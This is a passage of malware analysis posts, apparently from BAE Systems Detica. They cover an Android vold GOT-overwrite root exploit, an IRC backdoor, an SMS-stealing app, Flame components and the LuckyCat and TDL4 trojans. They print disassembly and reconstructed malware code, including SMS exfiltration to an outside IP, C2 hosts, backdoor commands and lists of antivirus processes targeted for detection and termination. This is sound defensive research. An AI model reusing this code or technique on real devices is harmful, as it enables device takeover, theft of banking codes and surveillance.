    At this moment, the trojan knows the boundaries of the GOT table that it intends to overwrite and the offset of system() API - the value it intends to patch GOT table with. This value will be passed as MINOR parameter of the malformed netlink event messages. However, the trojan is not aware what negative index values have to be chosen for the mPartMinors[] array (passed as PARTN parameter) in order to reference GOT table. It's a blindfolded shooting for the trojan.

    So it starts a brute-force attack against GOT. In the loop, the trojan selects a number, then constructs a malformed netlink event message with the selected number specified as a negative value for the PARTN parameter and system() API offset as a MINOR parameter, then submits that message to the netlink socket.

    Once such message is submitted, there will be an exception generated that specifies that a wrong address of memory was referenced - the trojan wants to know what is that address. More specifically, is that "wrong" address within the boundaries of GOT or not. If the address belongs to GOT, the trojan has hit the spot.

    In order to be able to access the exception details with the specified memory address, it redirects log events (by running logcat command with the parameters -c and -f) into the file /data/local/tmp/crashlog. Every time it sends a malformed netlink event message, it parses the contents of the crashlog file, looking for the presence of the string "fault addr "; if found, it retrieves the specified fault address and compares it against the GOT boundaries:

    .text:0000AC34 LDR R3, =(aFAddr - _GLOBAL_OFFSET_TABLE_) ; "fault addr "
    .text:0000AC38 LDR R2, [R11,#var_440]
    .text:0000AC3C ADD R3, R2, R3
    .text:0000AC40 MOV R1, R3
    .text:0000AC44 BL strstr ; line contains fault address ("fault addr ")?
    .text:0000AC48 MOV R3, R0
    .text:0000AC4C STR R3, [R11,#nptr]
    .text:0000AC50 LDR R3, [R11,#nptr]
    .text:0000AC54 CMP R3, #0
    .text:0000AC58 BEQ fault_addr_not_found
    .text:0000AC5C LDR R3, [R11,#nptr]
    .text:0000AC60 ADD R3, R3, #0xB
    .text:0000AC64 STR R3, [R11,#nptr]
    .text:0000AC68 LDR R0, [R11,#nptr] ; nptr
    .text:0000AC6C MOV R1, #0 ; endptr
    .text:0000AC70 MOV R2, #0x10 ; base
    .text:0000AC74 BL strtoul ; if so, convert it into unsigned long integer

    Once the trojan encounters a logged exception that states that the wrong address was accessed (the line with the "fault addr " string), and that address belongs to GOT, it now assumes that the aligned address within GOT was now overwritten with the system() API. It does not know what API offset was overwritten, but it does not care; it just assumes that during a normal netlink event processing, some of the overwritten API will eventually be called. Once an unknown API offset within GOT is overwritten, it falls asleep for 500 sec before exploiting it.


    Exploiting patched GOT table

    The exploit itself works this way: the trojan again constructs a malformed netlink event message. Only this time it specifies PARTN parameter as 1 - a perfectly valid number that will cause no exceptions due to wrong memory addressing. The other parameters however, will now be specified in form of an offset to the file path name of the trojan's own copy that it drops as /data/local/tmp/boomsh.

    The guess is simple - vold's handlePartitionAdded() function will now be triggered again. The PARTN parameter check will pass Ok now. However, at some point of processing the incoming netlink event message parameters, vold will try to call one of the imported APIs. For example, as seen in the source file, the very first line of the handlePartitionAdded() function is:

    int major = atoi(evt->findParam("MAJOR"));

    evt->findParam("MAJOR") command will retrieve a string that was specified as MAJOR parameter - that string will be the full path filename of the trojan's copy: /data/local/tmp/boomsh.

    Next, vold'd code will try to convert that string into an integer, so it will call atoi() API by calling the function at the offset specified within GOT and passing /data/local/tmp/boomsh as a function parameter. However, since the offset of atoi() within compromised GOT can now potentially be overwritten with the offset of system() API, the execution flow with follow the wrong direction, factually calling system("/data/local/tmp/boomsh"). This will run (re-run) the trojan executable with the root privilege.


    Running with the root privileges

    When the trojan executable starts, it checks if it's file name (the first argument of its own command line) contains boomsh string. This part of description was intentionally skipped (to keep the cart behind the horse). If the trojan detects it was executed as boomsh, it simply means that the exploit has worked: the trojan was executed under vold account due to patched GOT and that now it has the root privileges inherited from the parent process.

    In this case, the trojan initiates the 2nd stage of its attack - running footer01.png, the ELF executable that was dropped by the malicious Android app "Madden NFL 12" into the same directory as header01.png.

    .text:0000AE18 LDR R3, =(bot - 0xC100) ; /data/data/com.android.bot/files/footer01.png
    .text:0000AE1C ADD R3, R4, R3 ; bot
    .text:0000AE20 LDR R3, [R3]
    .text:0000AE24 MOV R0, R3 ; file
    .text:0000AE28 MOV R1, #0 ; owner
    .text:0000AE2C MOV R2, #0 ; group
    .text:0000AE30 BL chown
    .text:0000AE34 LDR R3, =(bot - 0xC100)
    .text:0000AE38 ADD R3, R4, R3 ; bot
    .text:0000AE3C LDR R3, [R3]
    .text:0000AE40 MOV R0, R3 ; file
    .text:0000AE44 MOV R1, 0x9C9 ; mode
    .text:0000AE4C BL chmod
    .text:0000AE50 LDR R3, =(bot - 0xC100)
    .text:0000AE54 ADD R3, R4, R3 ; bot
    .text:0000AE58 LDR R2, [R3]
    .text:0000AE5C LDR R3, =(bot - 0xC100) ; /data/data/com.android.bot/files/footer01.png
    .text:0000AE60 ADD R3, R4, R3 ; bot
    .text:0000AE64 LDR R3, [R3]
    .text:0000AE68 MOV R0, R2 ; file
    .text:0000AE6C MOV R1, R3 ; arg
    .text:0000AE70 MOV R2, #0
    .text:0000AE74 BL execlp ; run footer01.png
    .text:0000AE78 MOV R0, #0 ; status
    .text:0000AE7C BL exit ; job's done - quit


    ELF executable footer01.png

    footer01.png is a backdoor trojan implemented as an IRC bot.

    When run, it firstly leaves a marker about the fact that the system is "rooted" (otherwise, it would have not been run by header01.png) by placing 1 into the file /data/data/com.android.bot/files/rooted:

    .text:000094D4 LDR R3, =0xFFFFF6E0 ; "echo 1 > /data/data/com.android.bot/files/rooted"
    .text:000094D8 LDR R2, [R11,#var_38]
    .text:000094DC ADD R3, R2, R3
    .text:000094E0 MOV R0, R3 ; command
    .text:000094E4 BL system ; run "echo 1 >.." to leave the marker in "rooted"

    The bot sets the read/write access for the owner and read-only access by everyone else to the file /data/data/com.android.bot/files/border01.png. This is the 3rd file dropped by the inital app "Madden NFL 12" - this file is an Android app (APK file).

    Next, it installs that app with the package manager, invokes the com.android.me.AndroidMeActivity with the activity manager (the main activity of the border01.png app), and sets a flag about that component activation by placing 1 into the file /etc/sent:

    .text:00009584 LDR R3, =0xFFFFF7B0 ; "chmod 0644 /data/data/.../border01.png"
    .text:00009588 LDR R2, [R11,#var_38]
    .text:0000958C ADD R3, R2, R3
    .text:00009590 MOV R0, R3 ; command
    .text:00009594 BL system ; run "chmod 0644" on "border01.png"
    .text:00009598 MOV R0, #5 ; seconds
    .text:0000959C BL sleep
    .text:000095A0 LDR R3, =0xFFFFF7F0 ; "pm install -r /data/data/.../border01.png"
    .text:000095A4 LDR R2, [R11,#var_38]
    .text:000095A8 ADD R3, R2, R3
    .text:000095AC MOV R0, R3 ; command
    .text:000095B0 BL system ; run "pm install" to install "border01.png"
    .text:000095B4 MOV R0, #3 ; seconds
    .text:000095B8 BL sleep ; sleep 3 sec.
    .text:000095BC LDR R3, =0xFFFFF830 ; "am start -n ..com.android.me.AndroidMeActivity"
    .text:000095C0 LDR R2, [R11,#var_38]
    .text:000095C4 ADD R3, R2, R3
    .text:000095C8 MOV R0, R3 ; command
    .text:000095CC BL system ; run "am start" to start "AndroidMeActivity"
    .text:000095D0 MOV R0, #30 ; seconds
    .text:000095D4 BL sleep ; sleep 30 sec.
    .text:000095D8 LDR R3, =(aEcho1EtcSent - _GLOBAL_OFFSET_TABLE_) ; "echo 1 > /etc/sent"
    .text:000095DC LDR R2, [R11,#var_38]
    .text:000095E0 ADD R3, R2, R3
    .text:000095E4 MOV R0, R3 ; command
    .text:000095E8 BL system ; run "echo 1" to leave the marker in "/etc/sent"

    Following that, it connects to the remote IRC server located at IP 199.68.196.198, generates a random user name, then logs on to IRC server by using that name.

    The bot then joins IRC channel #andros at the server and then keeps waiting for the private messages on the channel.

    Once such message is received, the bot parses its content (a string that follows PRIVMSG), then treats it as a remote command. In total, there 3 remote commands:

    • If the bot receives "sh" command, it will run the specified command or executable with the system() call, then respond back the message:
      PRIVMSG #andros :[SH] - %COMMAND_TO_RUN%.

    • The received command "id" will make the bot reply back the user ID of the calling process, that is obtained with the getuid() call:
      PRIVMSG #andros :[ID] - %REAL_USER_ID%.

    • Command "exit" will force the bot to exit; before exiting it replies back:
      PRIVMSG #andros :[EXIT] - exiting ordered...


    Part of the disassembled code that parses the backdoor command "sh":

    .text:000091C4 LDR R3, =(aSh - _GLOBAL_OFFSET_TABLE_)
    .text:000091C8 LDR R2, [R11,#var_62C]
    .text:000091CC ADD R3, R2, R3
    .text:000091D0 MOV R1, R3 ; s2
    .text:000091D4 MOV R2, #3 ; n
    .text:000091D8 BL strncmp ; is the received command "sh"?
    .text:000091DC MOV R3, R0
    .text:000091E0 CMP R3, #0
    .text:000091E4 BNE next_1 ; if not, check if it's the next command
    ...
    .text:00009280 MOV R0, R3 ; command
    .text:00009284 BL system ; run the received command/executable
    .text:00009288 SUB R12, R11, #-var_410
    .text:0000928C SUB R12, R12, #4
    .text:00009290 SUB R12, R12, #4
    .text:00009294 LDR R0, [R11,#var_620]
    .text:00009298 LDR R3, =0xFFFFF650 ; "PRIVMSG %s :[SH] - %s."
    .text:0000929C LDR R1, [R11,#var_62C]
    .text:000092A0 ADD R3, R1, R3
    .text:000092A4 MOV R1, R3
    .text:000092A8 LDR R3, =0xFFFFF638 ; "#andros"
    .text:000092AC LDR R2, [R11,#var_62C]
    .text:000092B0 ADD R3, R2, R3
    .text:000092B4 MOV R2, R3
    .text:000092B8 MOV R3, R12
    .text:000092BC BL IRCSend ; reply "PRIVMSG #andros :[SH] - %COMMAND%."


    border01.png - Android app that intercepts SMS

    As explained above, border01.png is started by the executable footer01.png.

    This app is responsible for the SMS message interception logic. The received SMS messages are intercepted with the broadcast receiver SMSReceiver. Its onReceive() method is called upon receiving an intent broadcast which is generated when an SMS is received.

    With the onReceive() method invoked, the code retrieves 2 fields from the received SMS message: message body and the sender's address. If the sender's address is one the following values, then it is aborted:

    • 81083

    • 3075

    • 64747

    • 60999

    • 63000

    • 35024

    • 2052

    • 7604

    • 1339

    • 9903

    • 2227

    • 72225

    • 23333


    as seen in the reconstructed source code of the trojan:

    str1 = arrayOfSmsMessage[0].getMessageBody();
    str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();
    if ((str2.equals("81083")) || (str2.equals("3075")) || (str2.equals("64747")) ||
    (str2.equals("60999")) || (str2.equals("63000")) || (str2.equals("35024")) ||
    (str2.equals("2052")) || (str2.equals("7604")) || (str2.equals("1339")) ||
    (str2.equals("9903")) || (str2.equals("2227")) || (str2.equals("72225")) ||
    (str2.equals("23333")))
    abortBroadcast();

    Next, regardless if the SMS message was aborted or not, the malware will submit the intercepted SMS message body and sender's address to the remote server located at IP 46.166.146.102, as shown below:

    DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient();
    HttpGet localHttpGet = new HttpGet();
    String str3 = "http://46.166.146.102/?=" + str2 + "///" + str1;
    URI localURI = new URI(str3);
    localHttpGet.setURI(localURI);
    HttpResponse localHttpResponse = localDefaultHttpClient.execute(localHttpGet);

    The remote server will presumably be able to notify the remote attacker (subject to how the server-based code is implemented) on any online banking passwords received during the two-factor authentication process. As the broadcast receiver drops (aborts) the SMS messages that might be originating from the addresses that the attacker recognises as online-banking ones, the passwords sent with SMS by the bank to the customers with the infected phones might never reach them.

    On top of that, the app will start sending SMS messages to the premium-rated numbers. For that, the malware obtains the SIM provider's country code first with getSimCountryIso(), then depending on the country it sets up a different premium-rate number to send the SMS to.
  • Flame: Component nteps32.ocx ... or should we call it Tosy?

    Bae Systems Detica
    Analysis of another Flame component - a DLL file nteps32.ocx, reveals that its strings are also encrypted, just like in soapr32.ocx.

    There is slight difference in the parameters used in the encryption algorithm.

    Here is the reconstructed logic of the decryptor:

    void Decrypt2(LPBYTE lpBuffer)
    {
    if (lpBuffer[16]) // 16th byte is a flag "encrypted"
    {
    for (BYTE i = 0; i < lpBuffer[18]; i++) // 18th byte is the string size
    {
    lpBuffer[20 + i] -= GetKey2(i); // encrypted string starts from 20th byte
    }
    lpBuffer[16] = 0; // clear "encrypted" flag (16th byte)
    }
    }

    Passing it an encrypted string below:

    BYTE szTest[] = {0x15,0xEE,0x8A,0x6D,0x13,0xF0,0xD4,0x55,0x5B,0x0A,0x61,0x17,0x70,
    0x88,0xDF,0x0A,0x90,0x7D,0x52,0x00,0xCA,0xA2,0x0F,0xE8,0x5B,0x37,
    0xAE,0x8D,0x17,0xEB,0x71,0x52,0xD3,0xBC,0x40,0x37,0xC5,0xB1,0x4E,
    0x3C,0xBB,0xC2,0x67,0x59,0xF4,0xFF,0xA6,0xA6,0x3B,0x49,0x10,0x0C,
    0xDD,0xCA,0x9D,0x81,0x4C,0x5C,0x3C,0x27,0x04,0x06,0xDB,0xFC,0xE4,
    0xD3,0xA2,0xDA,0xBE,0xDD,0xA6,0xC8,0xAB,0xF7,0xD2,0xEE,0x0B,0x0E,
    0x27,0x55,0x37,0x78,0x84,0xB3,0xBD,0xFA,0x11,0x32,0x39,0x6D,0xA0,
    0xD0,0xC3,0x34,0x03,0x8F,0xBC,0xDE,0xE9,0x56,0x48,0xD1,0x00};
    Decrypt2(szTest);

    results in the following decoded output:

    15 EE 8A 6D 13 F0 D4 55 5B 0A 61 17 70 88 DF 0A 00 7D 52 00 48 | ...m...U[.a.p....}R.H
    00 4B 00 4C 00 4D 00 5C 00 53 00 4F 00 46 00 54 00 57 00 41 00 | .K.L.M.\.S.O.F.T.W.A.
    52 00 45 00 5C 00 4B 00 61 00 73 00 70 00 65 00 72 00 73 00 6B | R.E.\.K.a.s.p.e.r.s.k
    00 79 00 4C 00 61 00 62 00 5C 00 70 00 72 00 6F 00 74 00 65 00 | .y.L.a.b.\.p.r.o.t.e.
    63 00 74 00 65 00 64 00 5C 00 41 00 56 00 50 00 37 00          | c.t.e.d.\.A.V.P.7.

    As you can see, this time, 16th byte keeps the 'encrypted' flag (used to be 8th), the string size is now kept in the 18th byte (used to be 9th), and the string itself starts from the byte #20 (used to be #11).

    Obviously, these parameters are random. The author of this threat must be keeping all the original strings in a separate file, and then a separately executed script selects random encryption parameters and then encrypts those strings, producing the source files for compilation. This is similar to how ZeuS encrypts its strings.

    Decrypting entire file is also possible by using the same tool that was suggested before. A file with the fully decrypted strings reveals interesting details.

    First, the DLL contains a list of domain name substrings that are used for filtering out the websites it is interested in monitoring:
    • .hotmail.

    • gawab.com

    • gmail.com

    • live.com

    • mail.

    • maktoob.com

    • rocketmail.com

    • yahoo.co

    • ymail.com

    Next, it contains a long list of security processes that is it designed to detect:
    • 4gui.exe

    • antihook.exe

    • app_firewall.exe

    • asr.exe

    • authfw.exe

    • avgamsvr.exe

    • avgcc.exe

    • avgemc.exe

    • avgfwsrv.exe

    • avginet.exe

    • avgupsvc.exe

    • avp.exe

    • avpm.exe

    • blink.exe

    • blinkrm.exe

    • blinksvc.exe

    • bootsafe.exe

    • cclaw.exe

    • cdas17.exe

    • cdinstx.exe

    • clamd.exe

    • cmdagent.exe

    • configmgr.exe

    • cpf.exe

    • dcsuserprot.exe

    • dfw.exe

    • dvpapi.exe

    • eeyeevnt.exe

    • elogsvc.exe

    • emlproui.exe

    • emlproxy.exe

    • fameh32.exe

    • fch32.exe

    • firewall 2004.exe

    • fpavserver.exe

    • fprottray.exe

    • fsaua.exe

    • fsav32.exe

    • fsbwsys.exe

    • fsdfwd.exe

    • fsgk32.exe

    • fsgk32st.exe

    • fsguidll.exe

    • fsguiexe.exe

    • fsm32.exe

    • fsma32.exe

    • fsmb32.exe

    • fspc.exe

    • fspex.exe

    • fsqh.exe

    • fsrt.exe

    • fssm32.exe

    • fw.exe

    • fwsrv.exe

    • gateway.exe

    • icmon.exe

    • ike.exe

    • ipatrol.exe

    • ipcsvc.exe

    • ipctray.exe

    • jpf.exe

    • jpfsrv.exe

    • kav.exe

    • kavmm.exe

    • kpf

    • kpf4ss.exe

    • licwiz.exe

    • live help.exe

    • lpfw.exe

    • mpsvc.exe

    • netguard lite.exe

    • netmon.exe

    • nip.exe

    • njeeves.exe

    • nstzerospywarelite.exe

    • nvcoas.exe

    • nvcsched.exe

    • nvoy.exe

    • oeinject.exe

    • omnitray.exe

    • onlinent.exe

    • onlnsvc.exe

    • op_mon.exe

    • pcipprev.exe

    • pf6.exe

    • pfsvc.exe

    • pgaccount.exe

    • procguard.exe

    • pxagent.exe

    • pxconsole.exe

    • rdtask.exe

    • r-firewall.exe

    • rtt_crc_service.exe

    • sab_wab.exe

    • scanwscs.exe

    • sp_rsser.exe

    • spfirewallsvc.exe

    • sppfw.exe

    • spyhunter3.exe

    • spywareterminator.exe

    • spywareterminatorshield.exe

    • ssupdate.exe

    • superantispyware.exe

    • swnetsup.exe

    • swupdate.exe

    • sww.exe

    • tikl.exe

    • tinykl.exe

    • tray.exe

    • tsansrf.exe

    • tsatisy.exe

    • tscutynt.exe

    • tsmpnt.exe

    • umxagent.exe

    • umxcfg.exe

    • umxfwhlp.exe

    • umxlu.exe

    • umxpol.exe

    • umxtray.exe

    • updclient.exe

    • vcatch.exe

    • vdtask.exe

    • vsdesktop.exe

    • vsmon.exe

    • wsweepnt.exe

    • wwasher.exe

    • xauth_service.exe

    • xfilter.exe

    • zanda.exe

    • zerospyware le.exe

    • zerospyware lite.exe

    • zerospyware lite_installer.exe

    • zlclient.exe

    • zlh.exe


    Now, the final exercise.

    Compare the lists above to the ones reported here and try to spot 10 differences.

    Look similar, don't they?

    Update (31 May 2012): changed Tossy into Tosy.
  • Flame: msglu32.ocx, Component That Can Track Location

    Bae Systems Detica
    This particular DLL component of the Flame threat is designed to locate various files in the system, read their contents and populate the SQL database with the file contents and characteristics. In addition, this file is capable of collecting geographical identification metadata that may be present in the files it inspects.

    The string decryptor is slightly different this time:

    void decrypt(int result, int iCount)
    {
    int i1, i2, i3, i4;

    i1 = result;
    if (iCount)
    {
    i2 = 11 - result;
    do
    {
    i3 = i1 + i2;
    i4 = i3 + 12;
    result = i3 * i4;
    *(BYTE *)i1 -= result ^ ((i3 * i4) >> 8) ^
    ((i3 * i4) >> 16) ^ ((i3 * i4) >> 24);
    ++i1;
    --iCount;
    }
    while (iCount);
    }
    }

    void Decrypt3(LPBYTE lpBuffer)
    {
    if (lpBuffer[16]) // 16th byte is a flag "encrypted"
    {
    decrypt((int)(lpBuffer + 20), (int)lpBuffer[18]);
    // 18th byte is the string size
    // 20th byte is where encrypted bytes start
    lpBuffer[16] = 0; // clear "encrypted" flag (16th byte)
    }
    }

    Feeding it the string below:

    BYTE szTest3[] =
    {
    0xA7,0xC9,0xDF,0xF8,0x30,0x0C,0x52,0x9D,0x0C,0x7F,0xB5,0x32,0x2B,0x05,0xC6,0x08,
    0x05,0xD5,0x26,0x00,0x74,0x21,0xA5,0x6D,0x0B,0xC1,0x54,0x1E,0xB0,0x82,0x24,0xEE,
    0xA0,0x63,0xFF,0xDF,0x7A,0x64,0x03,0xE8,0x9F,0x85,0x3E,0x1A,0xD0,0xC6,0x73,0x6B,
    0x34,0x28,0xD6,0xD4,0x96,0xA9,0x78,0x66,0x42,0x4B,0x00,0x00,0x68,0xB8,0xE7,0x8A,
    0x23,0x51,0x36,0x5C,0xCD,0xC3,0x4D,0xE4,0xF2,0xE5,0xCC,0xA3,0x00
    };
    Decrypt3(szTest3);

    produces the following result:

        A7 C9 DF F8 30 0C 52 9D 0C 7F B5 32 2B 05 C6 | ....0.R....2+..
        08 00 D5 26 00 77 00 61 00 77 00 68 00 61 00 | ...&.w.a.w.h.a.
        6D 00 7A 00 61 00 61 00 62 00 6F 00 76 00 65 | m.z.a.a.b.o.v.e
        00 61 00 72 00 61 00 62 00 69 00 63 00       | .a.r.a.b.i.c.

    The file is capable of locating the following files:
    • Wicrosoft Word documents

    • Microsoft Excel spreadsheets

    • Microsoft PowerPoint slides

    • Microsoft Access Databases

    • Microsoft Outlook objects (IPM Notes, Appointments, Schedule/Meeting Requests)

    • AutoCAD Drawings

    • Visio Drawings

    • PDF Documents

    • Image files (JPEG, BMP, TIFF, PNG, GIF)

    For every document, the DLL collects file characteristics, such as:
    • Modification Date

    • Creation Date

    • Creator

    • Author

    • Comments

    • Company

    • Producer

    • Title

    • Info

    • Revision number

    • Number of Keywords

    The information about located files can then be stored in the database. That data is added and queried with the SQL commands, such as:
    • INSERT INTO Media (Type, MediumDescription) VALUES ('%s', '%s')

    • SELECT State FROM Pst_States WHERE FileName=? AND Size=%u AND LastModification=%I64d

    The module contains a large table that consists of 4,173 Postscript glyph names, such as 'alefhamzabelowfinalarabic' or 'alefqamatshebrew'. This table is used to convert Postscript glyph names into Unicode codes - presumably to be able to parse the content of Adobe PDF documents written in Unicode Character Entities, such as Hebrew or Arabic.

    The DLL is aware of the presence of the security product by inspecting the registry entries:
    • HKLM\SOFTWARE\KasperskyLab\AVP6

    • HKLM\SOFTWARE\KasperskyLab\protected\AVP7

    If the files it inspects include geographical identification metadata (geotagging), it will extract the following data:
    • GPS Latitude

    • GPS Latitude Ref

    • GPS Longitude

    • GPS Longitude Ref

    • GPS Altitude

    • GPS Altitude Ref

    This geotagging data may be present within the images, as shown below:


    Image Source: Wikipedia, Geotagging

    Some cameras use automatic picture geotagging with a built-in GPS receiver (such as Panasonic Lumix DMC-TZ10, Sony Alpha 55V, or Canon PowerShot SX230/SX260). Many mobile phones use either a built-in GPS receiver or a Wi-Fi positioning (assisted GPS) to embed geotagging in the photos by default.

    Retrieving the geotagging data allows this Flame component to find GPS coordinates of the location where the pictures were taken, or with some statistical probability, where the compromised system is (has been) located:

    .text:100C5DE8 sub_100C5DE8 proc near
    .text:100C5DE8 push offset aGps_latitude ; "GPS_LATITUDE"
    .text:100C5DED call decrypt_string
    .text:100C5DF2 pop ecx
    .text:100C5DF3 push eax
    .text:100C5DF4 push offset GPS_LATITUDE
    .text:100C5DF9 call copy_string
    .text:100C5DFE push offset sub_100F32F8
    .text:100C5E03 call _atexit
    .text:100C5E08 pop ecx
    .text:100C5E09 retn
    .text:100C5E09 sub_100C5DE8 endp

    The code is also capable of enumerating and terminating the following processes found on a compromised system:
    • AntiHook.exe

    • EngineServer.exe

    • FAMEH32.exe

    • FCH32.exe

    • Filemon.exe

    • FPAVServer.exe

    • FProtTray.exe

    • FrameworkService.exe

    • fsav32.exe

    • fsdfwd.exe

    • fsgk32.exe

    • fsgk32st.exe

    • fsguidll.exe

    • FSM32.exe

    • FSMA32.exe

    • FSMB32

    • fspc.exe

    • fsqh.exe

    • fssm32.exe

    • jpf.exe

    • jpfsrv.exe

    • mcagent.exe

    • mcmscsvc.exe

    • McNASvc.exe

    • McProxy.exe

    • McSACore.exe

    • Mcshield.exe

    • mcsysmon.exe

    • McTray.exe

    • mcupdmgr.exe

    • mfeann.exe

    • mfevtps.exe

    • MpfSrv.exe

    • naPrdMgr.exe

    • procexp.exe

    • PXAgent.exe

    • PXConsole.exe

    • shstat.exe

    • sp_rsser.exe

    • SpywareTerminator.exe

    • SpywareTerminatorShield.exe

    • UdaterUI.exe

    • VsTskMgr.exe
  • Lucky Cat is a Threat?

    Bae Systems Detica

    Trend Micro has released report on another Android threat called LuckyCat.

    What puts this threat aside is its blunt backdoor functionality that allows it to be used as a remote administration tool, giving the attackers full control over the compromised Android device.

    The trojan arrives as a package named com.testService. The APK file name could be AQS.apk or testService.apk. Both samples are almost identical - one has a standard Android icon, another one has an 'empty' icon, as shown below:


    Apart from showing a toast message Service Start OK!, LuckyCat does not seem to do much more:

    Its main process com.testService will take 1,336 Kb in memory. However, once activated, the trojan registers a broadcast receiver that gets triggered on a BOOT_COMPLETED event:

    public synchronized class TServiceBroadcastReceiver extends BroadcastReceiver
    {
    private static final String ACTION = "android.intent.action.BOOT_COMPLETED";
    public TServiceBroadcastReceiver()
    {
    }
    public void onReceive(Context context, Intent intent1)
    {
    ComponentName componentName;
    if (intent1.getAction().equals("android.intent.action.BOOT_COMPLETED"))
    {
    Intent intent2 = new Intent("android.intent.action.RUN");
    Intent intent3 = intent2.setClass(context, TService);
    Intent intent4 = intent2.setFlags(268435456);
    componentName = context.startService(intent2);
    }
    }
    }

    Whenever the device boots up, the trojan will launch its own service TService that will run as a process com.testService:remote, taking 1,060 Kb out of RAM.

    The trojan reads the state of the device SIM card by calling getSimState() method, as shown below:

    public String getPhoneNumber()
    {
    StringBuffer stringBuffer1;
    String string2;
    StringBuffer stringBuffer2;
    StringBuffer stringBuffer3;
    StringBuffer stringBuffer4;
    StringBuffer stringBuffer5;
    StringBuffer stringBuffer6;
    String string1;
    TelephonyManager telephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone");
    stringBuffer1 = new StringBuffer();
    switch (telephonyManager.getSimState())
    {
    case 1:
    stringBuffer2 = stringBuffer1.append("\u65e0\u5361");
    string2 = stringBuffer1.toString();
    break;
    case 0:
    stringBuffer3 = stringBuffer1.append("\u672a\u77e5\u72b6\u6001");
    string2 = stringBuffer1.toString();
    break;
    case 4:
    stringBuffer4 = stringBuffer1.append("\u9700\u8981NetworkPIN\u89e3\u9501");
    string2 = stringBuffer1.toString();
    break;
    case 2:
    stringBuffer5 = stringBuffer1.append("\u9700\u8981PIN\u89e3\u9501");
    string2 = stringBuffer1.toString();
    break;
    case 3:
    stringBuffer6 = stringBuffer1.append("\u9700\u8981PUK\u89e3\u9501");
    string2 = stringBuffer1.toString();
    break;
    default:
    string1 = telephonyManager.getLine1Number();
    break;
    }
    return string1;
    }

    As shown in the listing above, the reported SIM card states are:

    • 无卡 (No card)

    • 未知状态 (Unknown state)

    • 需要NetworkPIN解锁 (Need Network PIN unlock)

    • 需要PIN解锁 (Require a PIN to unlock)

    • 需要PUK解锁 (Need PUK to unlock)

    • (The phone number string for line 1, e.g. MSISDN for a GSM phone)

    Once the data is collected, the trojan tries to send it over to the remote command-and-control server located at greenfuns.3322.org, port 54321.

    The data is compiled into a report that also contains local IP and MAC addresses. The report is wrapped with the strings ejsi2ksz and 369, and then encrypted on top with a XOR keys 0x05 and 0x27:

    public void encryptkey(byte[] paramArrayOfByte, int paramInt1, int paramInt2)
    {
    byte[] arrayOfByte1 = new byte[10240];
    byte[] arrayOfByte2 = new byte[4];
    Arrays.fill(arrayOfByte1, 0, 10240, 0);
    Arrays.fill(arrayOfByte2, 0, 4, 0);
    System.arraycopy(paramArrayOfByte, paramInt1, arrayOfByte1, 0, paramInt2);
    int i = 0;
    if (i >= paramInt2);
    while (true)
    {
    return;
    int j = i + 1;
    arrayOfByte2[0] = (byte)(0x5 ^ arrayOfByte1[i]);
    paramArrayOfByte[(-1 + (paramInt1 + j))] = arrayOfByte2[0];
    if (j >= paramInt2)
    continue;
    i = j + 1;
    arrayOfByte2[1] = (byte)(0x27 ^ arrayOfByte1[j]);
    paramArrayOfByte[(-1 + (paramInt1 + i))] = arrayOfByte2[1];
    if (i < paramInt2)
    break;
    }
    }

    As soon as the trojan submits the report to command-and-control server, it receives back response from it.

    The response is checked to make sure it starts with the marker ejsi2ksz. It is then decrypted by calling the same symmetrical function encryptKey().

    The decrypted response is then parsed to see if it contains one out of 5 remote commands:

    switch
    {
    case AR_ONLINEREPORT: goto exit;
    case AR_REMOTESHELL: goto exit;
    case AR_DIRBROSOW: goto browse_directory;
    case AR_FILEDOWNLOAD: goto file_download;
    case AR_FILEUPLOAD: goto file_upload;
    default: goto exit;
    }
    exit:
    mDbgMsg("+++");
    exc1();
    socket2 = socket3;
    mDbgMsg(exc1.getMessage());
    socket2.close();
    mDbgMsg("socke close");
    exc3();

    browse_directory:
    i8 = 0 + 64;
    int j8 = readU16(array_b, i8);
    int k8 = i8 + 2;
    String string3 = new String(Arrays.copyOfRange(array_b, k8, j8 + 66), "UTF-8");
    Arrays.fill(array_b, 64, 10176, 0);
    i9 = GetDirList(string3, array_b, 64);

    As seen in the reconstructed source code above, out of 5 remote commands, only 3 are actually implemented:

    • AR_DIRBROSOW: directory browsing, handled by GetDirList()

    • AR_FILEDOWNLOAD: file download, handled by mReadFileDataFun()

    • AR_FILEUPLOAD: file upload, handled by mWriteFileDataFun()

    The remaining 2 are defaulting to an 'unrecognised' command:

    • AR_ONLINEREPORT: 'online report' command

    • AR_REMOTESHELL: remote shell execution

    The presence of the last 2 commands in the code indicates that the trojan is still in development and is likely to be updated in the future.

  • Analysis of TDL4

    Bae Systems Detica
    The Dropper

    Our lab has recently got its hands on a new sample of TDL4, also known as TDSS.

    The sample is likely distributed as a dropper file named outlkupd.exe; its file size 1,224Kb. Some of the components that it drops were compiled in July 2012, and some were compiled in September 2012 - so it's relatively a 'fresh' one.

    The dropper is packed with an interesting packer that disguises the protected executable underneath as a normal code, with the normal flow and innocent API calls. The 'normal' code produced by the protector is designed to fool AV engines: its entropy is fine, so it does not 'ring any bells' within AV heuristics, the APIs it imports are from kernel32.dll and C++ run-time library only, and the algorithm itself displays current time around the world, so no alarms from the AV emulators either:

    push offset aPhoenixAzU_s_2 ; "Phoenix AZ (U.S.) : %2d:%02d\n%d"
    sub word ptr [ebp-0Ch], 8A51h
    call printf
    ...
    push offset aBeijingMa2d02d ; "Beijing (MA) : %2d:%02d\n"
    cmp dword ptr [ebp-20h], 0F001E96Fh
    jz loc_4027D9
    ...
    push offset aCurrentTimeAro ; "Current time around the World:"
    call printf
    The resources of the dropper indicate it's a 'shell extension library', having a dialog window in its GUI:


    The only discrepancy is that while the sample has resources, their size is just 5Kb, while the data section is around 1.2Mb - so what does it carry in its protected luggage?

    When run, the dropper allocates a heap memory where it unpacks the code and then jump in it:

    From there, it will reconstruct the code in its data section and then pass control back to it:

    The code reconstructed in the data section now has an interesting characteristic - instead of a traditional flow, it now assembles the pointers of its functions into a vector. Then, it enumerates the vector and calls each of the function by its pointer. If the function returns FALSE, the code quits. Some functions that it calls contain nested code that also assembles the pointers of other functions into a vector and then calls functions from that vector. Thus, the code flow now reminds a tree where all the nodes located on one level are called subsequently, and all of them have to return TRUE.

    For example:

    .data:0040A830 mov dword ptr [esi], offset run_query_ANTI_VM
    ...
    .data:0040A841 mov [esp+20h+var_14], offset _check_usernames
    .data:0040A849 cmp eax, esi
    .data:0040A84B jnb short next_function_pointer
    ...
